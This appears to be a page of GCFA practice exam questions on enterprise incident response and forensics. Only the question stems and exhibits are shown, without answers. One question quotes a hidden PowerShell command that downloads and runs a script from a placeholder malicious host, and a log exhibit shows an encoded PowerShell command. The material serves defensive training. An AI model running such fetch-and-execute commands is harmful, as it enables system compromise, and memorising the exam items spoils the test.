GCFA Enterprise Environment Incident Response — All Questions With Answers

Question 1mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder identifies a suspicious PowerShell process executing encoded commands on an enterprise server. To effectively contain the host while preserving volatile evidence for forensic analysis, which action should the responder prioritize?

Question 2mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

Refer to the exhibit. An analyst observes this process entry on a server that has triggered a high-severity alert. Based on the provided metadata, why is this process considered highly suspicious?

Exhibit

{"process_name": "svchost.exe", "pid": 4920, "parent_pid": 872, "user": "SYSTEM", "command_line": "C:\\Windows\\System32\\svchost.exe -k netsvcs -p", "network_connections": [{"proto": "tcp", "local_ip": "10.0.0.5", "remote_ip": "192.168.1.50", "remote_port": 443}]}

Question 3easymultiple choice

Read the full Enterprise Environment Incident Response explanation →

When conducting an enterprise incident response, why is it essential to establish a dedicated Out-of-Band (OOB) communication channel?

Question 4hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

Refer to the exhibit. An analyst is investigating a suspected breach. Given the log entries, which immediate hypothesis is most supported by the evidence?

Exhibit

log_entry: {"timestamp": "2023-10-12T14:22:01Z", "event": "ServiceInstallation", "service_name": "BackdoorSvc", "bin_path": "C:\\Windows\\Temp\\svchost.exe", "user": "Admin1"}
log_entry: {"timestamp": "2023-10-12T14:25:10Z", "event": "ProcessCreation", "process": "powershell.exe", "command": "-enc YQBkAGQALQBhAGQAZwByAG8AdQBwAG0AZQBtAGJlAHIA..."}

Question 5mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder identifies an active PowerShell script executing encoded commands in memory. Which memory forensics technique is most effective for extracting the deobfuscated script content during the live response phase?

Question 6hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder discovers an attacker using Domain Fronting to bypass network egress filtering. What is the most effective way to mitigate this technique at the perimeter?

Question 7mediummulti select

Read the full Enterprise Environment Incident Response explanation →

Which THREE of the following represent common artifacts of lateral movement found during a Windows investigation?

Question 8easymultiple choice

Read the full Enterprise Environment Incident Response explanation →

Which phase of the incident response lifecycle focuses on identifying the root cause and determining if the incident is ongoing?

Question 9mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an enterprise-wide incident, you are tasked with collecting volatile evidence from hundreds of compromised Windows 10 endpoints. Which approach best preserves the integrity and order of volatile data while enabling centralized analysis?

Question 10hardmulti select

Read the full Enterprise Environment Incident Response explanation →

An enterprise incident response team is investigating a breach involving a compromised domain controller. The attacker used Kerberos ticket manipulation to maintain persistence. Which TWO of the following forensic artifacts should be prioritized for collection to identify the compromised accounts and the persistence mechanism? (Choose two.)

Question 11hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder is analyzing a memory dump from a Windows 10 host compromised by a sophisticated adversary. The adversary used process hollowing to inject malicious code into a legitimate process. Which Volatility 3 plugin is most appropriate to detect the hollowed process by comparing the in-memory image of the executable with its on-disk counterpart?

Question 12mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an enterprise incident response engagement, a responder is collecting volatile data from a compromised Windows Server 2019 system before initiating a full disk image. The responder needs to capture the current list of network connections, associated process IDs, and the executable paths responsible for each connection. Which single Windows-native command should the responder run to reliably obtain this information on the live system?

Question 13mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an incident, you need to acquire volatile memory from a running Windows 10 workstation suspected of malware infection. The system is in a locked state, and you cannot log in interactively. Which method is most appropriate to capture memory while minimizing alteration of the system state?

Question 14easymultiple choice

Read the full Enterprise Environment Incident Response explanation →

A security analyst is reviewing network traffic logs and notices a large volume of outbound traffic from an internal server to an unknown external IP address on port 443. The traffic occurs regularly every 60 seconds and the payload size is consistent. The analyst suspects command-and-control (C2) communication. Which of the following techniques is the adversary MOST likely using to evade detection?

Question 15hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an enterprise incident response, you discover that an attacker used a scheduled task to maintain persistence on a Windows Server 2019 host. The task is configured to run a malicious script every hour. Which artifact should you examine to determine the exact command line and the user account under which the task runs?

Question 16mediummulti select

Read the full Enterprise Environment Incident Response explanation →

An enterprise incident response team is preparing to acquire volatile evidence from a compromised Windows server. The server is running critical business applications, and management wants to minimize downtime. Which TWO of the following actions should the team perform to properly capture volatile data while preserving system integrity? (Choose two.)

Question 17hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder is analyzing a memory dump from a compromised Windows 10 workstation. The attacker used a fileless malware technique that injected malicious code into a legitimate process. The responder needs to identify the injected code and the process it is running in. Which of the following memory forensics techniques is MOST appropriate for this task?

Question 18mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

During a post-incident review, a team realizes they missed a critical indicator of compromise (IOC) because they did not normalize their log data. What is the primary benefit of log normalization in an enterprise incident response environment?

Question 19mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

Which phase of the incident response lifecycle is most directly responsible for ensuring that an enterprise environment is returned to a secure, verified state after an intrusion?

Question 20hardmulti select

Read the full Enterprise Environment Incident Response explanation →

An organization detects a sophisticated adversary attempting to move laterally using Pass-the-Hash (PtH) techniques. Which THREE of the following configurations or practices are most effective at mitigating this risk?

Question 21mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder is reviewing EDR alerts and discovers an 'Account Manipulation' event. What is the most common reason why an attacker would target the 'Domain Admins' group during the post-exploitation phase?

Question 22mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

Which of the following describes the 'Principle of Least Privilege' applied to incident response accounts?

Question 23hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

An organization discovers that an attacker is using 'Living off the Land' (LotL) binaries to execute malicious code. Why are LotL attacks particularly difficult to detect in an enterprise environment?

Question 24mediummulti select

Read the full Enterprise Environment Incident Response explanation →

When investigating a suspected data exfiltration incident, which TWO sources are most useful for determining the volume and destination of the transferred data?

Question 25mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

An organization is deploying an EDR solution to improve incident response capabilities. What is the most critical factor to consider when configuring EDR policies for a production environment?

Question 26mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

Why is it important to include non-security personnel, such as legal counsel and HR, in the incident response process for a significant data breach?

Question 27hardmulti select

Read the full Enterprise Environment Incident Response explanation →

An organization is deploying an EDR solution across a hybrid environment. Which TWO of the following tasks are critical for ensuring effective incident response visibility?

Question 28mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

Refer to the exhibit. An investigator observes the listed network connections on a compromised server. Which process warrants immediate investigation based on these connections?

Exhibit

C:\> netstat -ano | findstr "ESTABLISHED"
TCP 10.10.1.5:445 192.168.50.20:49152 ESTABLISHED 4
TCP 10.10.1.5:443 203.0.113.45:443 ESTABLISHED 4820

Question 29mediummultiple choice

Study the full AAA explanation →

During a cloud-based incident, you determine that an attacker has gained access to an IAM role with excessive permissions. What is the most effective containment step to minimize the blast radius without causing immediate service outages?

Question 30mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

Refer to the exhibit. An attacker attempts to use a compromised identity with this policy to modify a file in the 'sensitive-data' bucket. What is the expected outcome?

Exhibit

Policy: {
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": "s3:GetObject",
    "Resource": "arn:aws:s3:::sensitive-data/*"
  }]
}

Question 31hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

During a response to an incident involving a web shell, you find that the attacker is using custom encoding to bypass WAF signatures. What is the best forensic approach to identify all impacted web files?

Question 32mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

An attacker is using a living-off-the-land (LotL) technique to execute commands on a Linux server. Which log source is most likely to reveal the command-line arguments used?

Question 33hardmulti select

Read the full Enterprise Environment Incident Response explanation →

Which THREE activities are considered best practices when preserving evidence from a cloud-based environment during an incident?

Question 34mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

Which technique is commonly used by attackers to maintain persistence on a Windows system that specifically targets the login process?

Question 35mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an enterprise incident response, you need to collect volatile evidence from a compromised Windows server that is still powered on. The server is business-critical and cannot be taken offline. Which of the following is the most appropriate order for collecting volatile data, according to RFC 3227 guidelines?

Question 36hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder is analyzing a compromised Windows 10 workstation. The attacker used a technique to execute code in the context of a legitimate process by injecting a malicious DLL into it. Which of the following Windows artifacts would BEST provide evidence of this specific technique?

Question 37mediummulti select

Read the full Enterprise Environment Incident Response explanation →

An enterprise incident response team is preparing to conduct a forensic investigation on a compromised Linux server. The server is still running and cannot be taken offline. Which TWO of the following commands are appropriate for collecting volatile network connection information while minimizing disruption to the system? (Choose two.)

Question 38mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an enterprise incident response, you need to triage a compromised Windows host to determine if an adversary established persistence via a malicious service. Which artifact should you examine first to identify the service name, binary path, and start type?

Question 39easymultiple choice

Read the full Enterprise Environment Incident Response explanation →

An organization's incident response plan includes a requirement to maintain chain of custody for all digital evidence. A security analyst collects a USB drive from a compromised workstation. Which of the following is the MOST critical action to perform to ensure the evidence is admissible in a court of law?

Question 40mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an enterprise incident, your team identifies that an attacker has deployed a ransomware variant that encrypts files on a critical file server. The attacker also exfiltrated sensitive data before encryption. Which of the following best describes the appropriate containment strategy?

Question 41easymultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an incident response engagement, you need to establish a timeline of adversary activity on a compromised Windows server. Which data source is most appropriate for correlating user logon events, service installations, and process executions?

Question 42hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an incident response engagement, you discover that an attacker has compromised a Windows server and established persistence by creating a new Windows service. The service is configured to run a malicious executable at system startup. Which of the following registry locations would you examine to find the configuration of this service?

Question 43hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder is analyzing a compromised Windows server and suspects that an attacker used a scheduled task to maintain persistence. The responder runs 'schtasks /query /fo LIST /v' and sees a task named 'Updater' with a trigger set to run every hour. The task's action is 'powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/script.ps1')"'. Which of the following best describes the attacker's technique?

Question 44mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an enterprise-wide incident response, a Windows workstation is suspected of being compromised by a threat actor who used a spear-phishing document. The machine is still powered on and the user is logged in. You need to capture volatile evidence in a forensically sound manner. Which of the following is the correct order of volatility for collecting evidence, from most volatile to least volatile?

Question 45mediummulti select

Read the full Enterprise Environment Incident Response explanation →

During an enterprise incident response, you are tasked with collecting volatile evidence from a compromised Windows workstation. Which two of the following are considered best practices for preserving volatile data? (Choose two.)

Question 46hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

A large enterprise is responding to a ransomware incident. The adversary has deployed malware that encrypts files and deletes volume shadow copies. The incident response team needs to determine the initial infection vector and the scope of the compromise. They have collected logs from various sources. Which of the following log sources is MOST likely to contain evidence of the initial infection vector if the adversary used a phishing email with a malicious attachment?

Question 47mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an enterprise incident, you discover that an attacker modified the Windows event log service to record only selected events, effectively hiding malicious activity. Which Windows artifact should you analyze first to determine what modifications were made to the logging configuration?

Question 48mediummulti select

Read the full Enterprise Environment Incident Response explanation →

During an enterprise incident response involving a compromised Windows server, you need to acquire volatile evidence in a forensically sound manner. Which TWO of the following actions should be performed first to preserve the most volatile data? (Choose two.)

Question 49easymultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder is reviewing logs from a compromised Linux server and notices a large number of failed SSH login attempts from a single external IP address, followed by a successful login. Which of the following best describes this activity?

Question 50mediummulti select

Read the full Enterprise Environment Incident Response explanation →

An incident responder is investigating a compromised Windows server. The attacker gained access via a Remote Desktop Protocol (RDP) brute-force attack and then created a new local user account for persistence. The responder needs to identify evidence of the newly created account and any subsequent logon activity. Which TWO of the following Windows artifacts should the responder examine to find this evidence? (Choose two.)

Question 51easymultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder is preparing to acquire a forensic image of a running Windows server that is suspected of being compromised. The server hosts a critical database that cannot be taken offline. Which method is most appropriate for acquiring the disk image while minimizing disruption?

Question 52mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an enterprise incident response, you are examining evidence on a Windows Server 2019 system that may contain a fileless malware infection. You need to determine whether a specific process was injected with malicious code. Which Windows forensic artifact is most directly useful for identifying anomalous memory regions in a process, such as those created by reflective DLL injection?

Question 53hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder is investigating a compromised Windows system and finds that the attacker used a technique known as 'process hollowing' to hide malicious code. Which of the following best describes how process hollowing works?

Question 54hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

An enterprise incident responder is analyzing a compromised Windows 10 workstation. The attacker used a scheduled task to maintain persistence. The responder runs 'schtasks /query /fo LIST /v' and sees a task named 'Updater' with the action 'C:\Windows\Temp\svchost.exe'. However, the file svchost.exe is not present in that directory. Which of the following best explains why the task still appears and what should the responder do next?

Question 55hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder is analyzing a compromised Windows 10 workstation in an enterprise environment. The adversary used a known malware family that injects code into a legitimate process and then clears the associated event log entries to hinder detection. The responder has a memory image captured from the live system and a disk image acquired afterward. Which artifact in the memory image is most likely to reveal the injected code region and its originating module, even if the on-disk executable was deleted?

Question 56hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

An enterprise incident responder is analyzing a compromised Linux server. The attacker used a rootkit that hooks system calls to hide processes and files. Which forensic technique is most effective to detect the rootkit's presence and identify hidden processes?

Question 57mediummulti select

Read the full Enterprise Environment Incident Response explanation →

An enterprise incident response team is preparing to contain a confirmed ransomware outbreak that has already encrypted several file servers. The team must preserve forensic evidence while stopping further spread. Which two actions best balance evidence preservation with containment in this scenario? (Choose two.)

Question 58easymultiple choice

Read the full Enterprise Environment Incident Response explanation →

An organization is responding to a ransomware incident. The attackers encrypted files on several servers and left a ransom note. Which immediate action should the incident response team take to preserve the most volatile evidence before shutting down the affected systems?

Question 59mediummultiple choice

Read the full Enterprise Environment Incident Response explanation →

An enterprise incident response team is handling a breach where the adversary used valid credentials to access a cloud-hosted email service and created a mailbox forwarding rule to exfiltrate messages. The team has identified the compromised account and wants to determine the full scope of mailbox access and rule creation across the tenant. Which single action should the responder take to obtain the authoritative audit record of these activities?

Question 60easymultiple choice

Read the full Enterprise Environment Incident Response explanation →

An incident responder is analyzing a Linux server that was compromised. The attacker gained initial access via SSH and then created a new user account named 'support' with UID 0. Which command should the responder use to quickly identify all accounts with UID 0 on the system?

Question 61hardmultiple choice

Read the full Enterprise Environment Incident Response explanation →

During an enterprise incident response, you are examining a compromised Windows system and suspect the attacker used a rootkit to hide a malicious service. You have obtained a memory image and a disk image. Which of the following techniques is most effective for detecting a hidden service that is not visible through standard API calls?

{"process_name": "svchost.exe", "pid": 4920, "parent_pid": 872, "user": "SYSTEM", "command_line": "C:\\Windows\\System32\\svchost.exe -k netsvcs -p", "network_connections": [{"proto": "tcp", "local_ip": "10.0.0.5", "remote_ip": "192.168.1.50", "remote_port": 443}]}

log_entry: {"timestamp": "2023-10-12T14:22:01Z", "event": "ServiceInstallation", "service_name": "BackdoorSvc", "bin_path": "C:\\Windows\\Temp\\svchost.exe", "user": "Admin1"} log_entry: {"timestamp": "2023-10-12T14:25:10Z", "event": "ProcessCreation", "process": "powershell.exe", "command": "-enc YQBkAGQALQBhAGQAZwByAG8AdQBwAG0AZQBtAGJlAHIA..."}